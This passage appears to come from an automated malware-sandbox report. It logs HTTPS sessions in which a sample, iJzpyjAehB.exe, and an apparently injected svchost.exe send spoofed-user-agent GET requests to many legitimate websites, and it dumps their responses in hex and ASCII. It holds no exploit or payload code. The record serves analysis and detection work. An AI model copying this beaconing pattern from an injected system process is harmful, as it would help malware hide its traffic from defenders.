74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:17 UTC	912	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.6	55627	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:17 UTC	862	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:17 UTC	879	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:17 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:17 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=isr6qohPZxqAHimNulCqzLBOVfkMUDlggprr%2FeIAovxJaqEI35jJvRLVQYhONcr4o3bnMgKYEajjs%2FpehultMTEFAbFdMu%2BVTuN5G%2BIODeOhc2k%2BxFeY4PId"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a82daae092ba-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:17 UTC	880	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:17 UTC	880	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.6	55634	172.67.156.49	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:17 UTC	862	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com Cookie: django_language=en
2023-03-10 06:56:17 UTC	949	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:21 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:21 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xLdYZwhGugfdbQ9OXoMFj2vt5xmOhx1%2BKskin3PTQwdd0x5%2FGt%2FzVnpmo4B77L00LLyMyz27%2BSWxGb6bIdW6pK9HRJspjdcQpfZVDujVi7gUv4gMf3RC0aOn9pFFCEgS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a82db9df3804-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:17 UTC	949	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:17 UTC	949	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.6	55685	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:17 UTC	862	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:17 UTC	863	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:17 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:17 UTC	863	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.6	56364	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:18 UTC	962	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:18 UTC	997	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:18 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:18 UTC	998	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.6	56444	188.114.97.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:18 UTC	1011	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
2023-03-10 06:56:18 UTC	1023	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tx0pW3FIBojMmSFowDCQq5GOBCTsr5MZNsh3Ix0O4no%2FZqumLDsnNekv%2BNPg9GooDhJktT%2BU2MuK7db4ypDd3Lyf6oqBO1fVTGbvxPRicU6C%2Fk7lQzz2KWm0qrPw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a833cb123645-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:18 UTC	1024	IN	Data Raw: 31 65 62 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ebc<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
2023-03-10 06:56:18 UTC	1024	IN	Data Raw: 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 Data Ascii: idth,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <img
2023-03-10 06:56:18 UTC	1026	IN	Data Raw: 69 6f 6e 3d 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 45 46 6a 54 77 73 73 4a 4b 61 42 72 44 48 73 5a 4e 5f 49 63 49 5f 5f 76 4c 73 6c 41 78 6c 61 2e 63 62 30 68 65 52 73 6c 57 63 4d 2d 31 36 37 38 34 33 31 33 37 38 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 43 30 5f 39 57 5f 5a 79 37 34 70 70 31 30 47 6a 61 6d 62 6f 53 4e 79 42 62 6b 63 78 55 4f 50 7a 57 42 6e 70 58 7a 4e 53 36 70 30 2d 31 36 37 38 34 33 31 33 37 38 2d Data Ascii: ion="/?__cf_chl_f_tk=EFjTwssJKaBrDHsZN_IcI__vLslAxla.cb0heRslWcM-1678431378-0-gaNycGzNCRA" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="C0_9W_Zy74pp10GjamboSNyBbkcxUOPzWBnpXzNS6p0-1678431378-
2023-03-10 06:56:18 UTC	1027	IN	Data Raw: 36 4b 34 45 78 32 5f 66 53 52 34 45 71 47 4f 58 56 6a 7a 45 4b 36 62 30 75 38 6d 45 4e 47 51 70 35 47 51 4d 31 31 6e 4c 61 5a 45 72 56 46 72 6e 34 76 7a 67 61 57 6f 69 37 66 37 6f 6f 41 4e 57 6c 2d 49 6e 78 73 4f 51 74 6f 39 4c 44 5f 79 34 4d 31 79 66 67 4b 53 70 6e 62 4e 6f 63 41 70 56 4c 4e 4e 61 72 6a 7a 50 2d 42 37 53 59 6e 32 66 75 72 6d 37 2d 6c 68 44 6f 75 36 69 47 36 6c 41 67 36 58 43 50 6a 36 31 42 74 58 31 56 2d 47 51 33 71 62 68 73 56 69 71 6b 4a 67 4d 55 67 45 75 43 62 76 6b 73 76 66 64 37 6f 47 67 6d 46 64 6b 38 67 53 4a 35 78 53 41 62 4c 70 71 38 4f 4e 4f 6e 56 74 30 33 41 74 38 4c 32 58 4c 52 4f 56 39 70 5a 6b 4f 66 4c 79 5f 59 70 65 4d 6e 4f 71 30 53 63 36 6b 70 59 6c 79 64 52 47 5f 42 39 71 59 35 44 41 31 33 72 32 43 78 77 59 41 59 76 45 Data Ascii: 6K4Ex2_fSR4EqGOXVjzEK6b0u8mENGQp5GQM11nLaZErVFrn4vzgaWoi7f7ooANWl-InxsOQto9LD_y4M1yfgKSpnbNocApVLNNarjzP-B7SYn2furm7-lhDou6iG6lAg6XCPj61BtX1V-GQ3qbhsViqkJgMUgEuCbvksvfd7oGgmFdk8gSJ5xSAbLpq8ONOnVt03At8L2XLROV9pZkOfLy_YpeMnOq0Sc6kpYlydRG_B9qY5DA13r2CxwYAYvE
2023-03-10 06:56:18 UTC	1028	IN	Data Raw: 20 20 63 52 61 79 3a 20 27 37 61 35 39 61 38 33 33 63 62 31 32 33 36 34 35 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 64 64 35 61 31 32 61 62 35 37 35 62 35 34 39 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 45 46 6a 54 77 73 73 4a 4b 61 42 72 44 48 73 5a 4e 5f 49 63 49 5f 5f 76 4c 73 6c 41 78 6c 61 2e 63 62 30 68 65 52 73 6c 57 63 4d 2d 31 36 37 38 34 33 31 33 37 38 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a Data Ascii: cRay: '7a59a833cb123645', cHash: 'dd5a12ab575b549', cUPMDTk: "\/?__cf_chl_tk=EFjTwssJKaBrDHsZN_IcI__vLslAxla.cb0heRslWcM-1678431378-0-gaNycGzNCRA", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0',
2023-03-10 06:56:18 UTC	1030	IN	Data Raw: 5a 38 6f 67 46 4e 78 55 79 7a 4c 53 68 2b 58 51 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 30 55 6e 68 6d 51 7a 59 74 32 49 71 7a 35 4e 73 36 57 59 7a 71 41 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 Data Ascii: Z8ogFNxUyzLSh+XQ==', i2: '0UnhmQzYt2Iqz5Ns6WYzqA==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhA
2023-03-10 06:56:18 UTC	1031	IN	Data Raw: 2e 63 4f 67 55 48 61 73 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e Data Ascii: .cOgUHash); cpo.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="conten
2023-03-10 06:56:18 UTC	1032	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.6	56453	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:18 UTC	1056	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:18 UTC	1068	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:18 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:18 UTC	1069	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.6	56493	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:18 UTC	1056	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:18 UTC	1069	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:18 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:18 UTC	1070	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.6	56510	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:18 UTC	1070	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:18 UTC	1070	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:18 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:18 UTC	1071	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
